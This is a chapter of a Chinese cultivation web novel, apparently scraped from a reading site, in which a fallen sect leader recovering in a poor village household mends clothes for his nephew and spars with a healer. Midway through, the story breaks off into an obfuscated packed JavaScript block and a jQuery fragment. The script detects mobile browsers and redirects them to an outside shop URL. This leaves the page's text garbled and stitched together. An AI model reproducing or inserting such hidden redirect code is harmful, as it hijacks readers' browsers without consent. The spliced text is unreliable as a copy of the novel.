15.一点甜头

作品:《早死的前任教主觉醒后

    百里兰臣带来的调配好的药包,南融月只用粗略一眼就知道于他无用。


    若是对凡人来说,兴许还能有点效果。


    南融月坐在椅子上,随手写了几个字。这是那话本所用的字体,也并非他见识少,他确实不知这九州之内有谁会用这种字体。


    这几日没事的时候,他就闭目在脑海里翻来覆去地翻着那话本,以他的速度那点内容被他翻来覆去翻了差不多十遍。


    若要让他给个中肯的评价,那就是老套。


    也不知道是谁写的三流话本。


    段青琅又在外面拍门,大声道:“舅舅,喝药了。”


    南融月知道他要是不出声,这小子会一直拍门,直接把木门拉开然后伸出了手,接过那只陶碗,不经意间又看到了段青琅那张灰扑扑的脸,应该是被灶里的烟灰熏出来的。


    偏偏让那双眼睛看着更亮了。


    这药恐怕也是段青琅自告奋勇给他熬的。


    南融月眼不见心不烦,直接把门关上,端着这碗药朝里走去。


    虽然段青琅一天到晚不知道在忙活什么,有时候又看到对方在后院刨坑,可不管做什么都一副充满希望的样子,他在窗前看多了,也觉得无趣得紧。


    因为越是井底之蛙,越会为眼下这片井底拼尽全力。可越是拼命,越是爬不出这井底,就跟无论是凡人亦或是修真者,都挣脱不了这片天地樊笼。


    南融月端着手上这碗黑糊糊的药,他之前好奇尝过一口,实在是苦得不行,也不知道那百里兰臣,是不是故意的。


    他不讨厌苦味,只是这药对他无用,又何必上赶着自讨苦吃。


    他把手一伸,直接将药从窗口倒了,这几天把药这么从窗前倒下去,底下的草都长得比别处更茂盛些。


    “你每天都这么倒了?”旁边冷不丁传来了一道清冷的声音。


    南融月愣了一下,往旁边看,就见穿着一身紫衫白袍的百里兰臣抱胸站在墙边,神色淡淡,看他倒药的行径也没有去阻止,让人捉摸不透他的想法。


    百里兰臣有意隐藏气息,以他如今的实力确实难以察觉。


    南融月一点也没有被抓包的尴尬,把药碗随意放在桌上,缓缓道:“看来神医还会监督病人用药的情况。”


    “只是恰好路过,你既不信任我,是你自己的事。”


    南融月挑眉,扫了一眼药碗,露出一丝笑容,反问道:“哦?那即使这样做无用功,你也还是要做。”


    百里兰臣没说话,只是沉默以对。毕竟有用无用是用什么来衡量的,又以谁为标尺,也许是用时间。若用几息时间做了无用功,谁又会在意这片刻是有用还是无用。


    于他而言,就算在这待上几个月是做无用功,于修真者漫长的一生而言,也不过瞬息片刻罢了。


    此时风起,南融月也没心思等百里兰臣的后话,就要把木窗拉上,虽然隔绝不了百里兰臣的神识探查,有种掩耳盗铃的感觉,可起码他眼不见心不烦。


    百里兰臣的声音还从窗外传了过来。


    “你像我认识的一个人,他死了,你若是能活着,就最好。”


    而等南融月看过去的时候,百里兰臣已经消失了。南融月除却刚开始的不能理解,很快又冷笑一声,百里兰臣这莫不是把他当成别人了,他活那么久还没被人当成替身过。


    若他有朝一日恢复实力,十成会让这位宗子好看。


    不过话说回来,什么天地圣人,医者仁心,百里兰臣看似如此不求回报不计得失,甚至能忍受这般无用功,如今来看却也是为了私心,大抵是对故人有愧,才想用这种方式,单方面让自己心里好受一些。


    如何不虚伪。


    等过了午时,南融月推开门,发现有个小小的团子,起码是在他眼里看着小,正坐在门口的板凳上,几乎把脑袋怼到了针眼上,正埋头穿针眼,在补一件衣服。


    “你在做什么?”


    南融月这么一出声,还专注着穿针的小孩啊了一声,然后被针尖扎破了手指,白衣上瞬间出现了一个小小的血点。


    段青琅这时候才抬头看他,磕磕巴巴道:“娘亲去镇上了,我看娘亲每天都补衣服补到很晚,想在她回来之前帮她点忙嗝。”


    南融月眯了眯眼睛,然后发现对方手上这件衣服似乎还是男人的衣服。主角这家徒四壁的家里除了他以外还有第二个男人吗?


    他轻轻啧了一声,然后把段青琅手上那件衣服给拿了过来,连同上面还串着的针线。


    他南融月就算是修为尽失,如今再如何苟延残喘,都轮不到让女人和孩子为他做事的地步。


    “拿来。”


    段青琅抱着手小心翼翼地跟在他屁股后面,两个人一起去了院子里。


    南融月虽然以前没做过这种事,可刚刚段青琅怎么做的他也看到了,虽然这小子的手法实在是不堪入目,但是方法却是没错的。


    段青琅看着白衣青年垂着眼睛,手上穿针引线的动作无比精准,甚至感觉补得比娘亲还好,忍不住发出惊叹,“舅舅好厉害!”


    南融月不置可否,他过去可是被誉为修真界千年难得一遇的天才,学什么学不会,再晦涩难通的功法武籍他都是一眼便知,就算是百里兰臣和风阙那些人都得往后排,光是天之骄子还难形容他,真要说,还要为他专门发明一个词才行。


    若非他是魔修,在正道眼中上不得台面,不然这世人提到天才之名,就不会是诸如百里兰臣一辈,而是他了。


    等补完手上这件,南融月又从竹篓里拿出了段青琅那件灰扑扑的小衣,让段青琅还有点不好意思红了脸,不知道是不是被冷风吹的。


    他小声说:“舅舅,这是我的。”


    南融月差点没翻白眼,心道他又不是眼瞎。


    不用看都能感受到段青琅满脸遮不住的喜气洋洋,姑且给他一点甜头,反正这小子的好日子,马上也要到头了。


    百里兰臣在山崖边盘腿而坐,心念一动便能将周围一切尽收眼底,无论是周遭的一草一木,亦或是某人手中,那枚细小的针眼。


    突然一枚紫玉简突然破空而来,出现在他面前,上面浮现出了一行熟悉的字。


    类似的场景当初在魔教主殿也发生过,不过当时这紫玉简找上的是奎丑护法。上面对他的称呼,很是彰显同门情谊,对方一口一个兰臣师弟,不知道的还以为他们关系多好。


    当时他便知道,游乘笑恐怕是故意让玉简被人截住,写给旁人看的。


    而如今紫玉简上写的东西,更是半点客气也无。


    “镜玄光直接毁了南极天的墓冢,如今魔域人心动荡,一些魔修本就对镜玄光心有不服,正是攻入魔域的时机,百里兰臣,你若只顾着你的逍遥,摆弄你那些花草,玩忽职守,不如卸任归隐,否则不知道的以为你日月派的宗子不过是个可笑的摆设!”


    百里兰臣抬手一挥,那枚紫玉简就消失了。光是看这行字,百里兰臣都能感受到游乘笑对覆灭魔域势在必得,和急不可待的心理。


    他身形一闪便已经出现在山下,迈步朝着桃李村走去。


    南融月手上还拿着那件衣服,对凡人的诸多行事无法理解。比如一件衣服要反反复复地补,再比如豆子要反复挑挑拣拣,他都看到几次段青琅蹲在门口在一箩筐的烂豆里把好豆捡出来,捡出来的豆子又是一锅豆汤。


    可机会不是这般省下来的。


    腿边突然一沉,南融月用不着看就知道,段青琅已经揣着手坐在小板凳上缩成一团靠着他睡着了,睡着了嘴里还在含含糊糊喊着舅舅好厉害。


    本来想动动腿把这小子弹开,可刚要有动作,脑海里突然想到了什么,记忆里好像也有人这么靠着他。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086423|194098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他当时怎么做的?


    南融月分出了点心思,想在自己漫长的岁月里捕捉到那片刻的记忆碎片,最后也记得他当时好像并没有把那人推开。


    虽然不记得当时为什么那么做,不过这么一打岔,南融月也无所谓这昏头靠在他腿上睡着的小子,是有多不知死活了。


    耳边传来脚步声,南融月见是百里兰臣又若无其事地把绑成串的药包挂在了木门上,然后拉开了旁边一张破旧的木椅,坐上去面无表情地盯着他看。


    南融月忍不住笑了:“神医可真是闲。”


    百里兰臣直接忽视了刚刚游乘笑给他发的玉简传信,淡淡道:“是闲。”


    而不一会,不远处又传来了一片脚步声,像是有人小跑了过来。


    “段哥,你看我带什么来了?!”孟铃手上有一卷纸,看样子是带了点纸墨过来,这已经是她能在孟镇寻到的最好的了。


    “铃儿你也慢点。”对方身后还传来了段湘的声音。


    他们的声音把段青琅吵醒了,等看到那个跑过来的黄裙姑娘,忍不住怒目而视。这个人每次都笑话他是小胖墩,而且还不让他跟着舅舅。


    孟铃过来时才注意到院子里还坐着一个人,对方看着穿着气质都极为不凡,都差点让孟铃怀疑自己是不是走错门了。


    段湘这才解释道:“这位是白神医,阿宁的病可都劳烦他看着呢,说来惭愧,家中也没什么能回报一二。”


    “在下说过治病救人本就是分内之事,无需谈及报酬。”


    百里兰臣通身的气度像是在说,就算拿得出来他也看不上。段湘自认为也拿不出能同对方相配之物,而寻常之物,对方大抵也是看不上的,只好感激地叹了口气。


    然后他们把视线放在了白衣青年身上,而南融月刚好扯掉了手上的线,把补好的衣服扔到一边,却让段湘的脸色变了变,忍不住道:“阿宁你怎么做这种事。”


    说完她几乎要垂泪:“以男子行妇人之事,已不如人......”


    既是读书人若持着针线为侄子缝补衣物,让人瞧见了也怕弟弟因此受人轻视。而孟铃在旁边好奇地看了看,又忍不住落在了南融月身上。


    只觉得段哥真是什么都会,而且男人修补衣物在对方身上看着特别赏心悦目,完全没有爹说的那种上不得台面的感觉。这说明段哥温柔体贴还很会照顾人。


    南融月本来心情就称不上好,给毛头小子补了衣服不说,还要被人一惊一乍地围观。本来一个百里兰臣就够让他不愉了。


    “男女都是天生地养,又何须多此一举分什么男子之事,妇人之事。”


    “可......”


    段湘心里颤了颤,觉得这话简直有些大逆不道了,如果这么说不是女子都能登堂入室,上为人臣了。她本想说从没听过这样的说法,就听到神医开口了。


    而百里兰臣淡淡看了南融月一眼,慢慢道:“在我们那边,就不分男事女事,女子......亦可继承道统,成为大宗师,统御万人不在话下。”


    孟铃忍不住问:“真的有这种地方?”


    南融月心想当然有,而且就近在眼前,毕竟修真界实力为尊,管你是男是女。当然也有一些执着于这种事的修者,又做了一些别的事触了他的霉头,随手打杀了几个已经记不清了。


    不过人间界终究不同于修真界,为什么少有修士痕迹涉足人间界,又或者基本上都不会选择大张旗鼓地出现,这问题的答案恐怕只可能在皇宫,只不过南融月对此并不感兴趣。


    南融月扫了一眼在他眼里孺子不可教的痴傻稚童,微微挑眉,真要说这昆吾派下一任宗主陆心颜,还是这傻小子的道侣。


    而且按那话本的说法,这小子道侣还不止一个。


    那满口仁义道德学过去了,从一而终这点,倒是喂了个狗。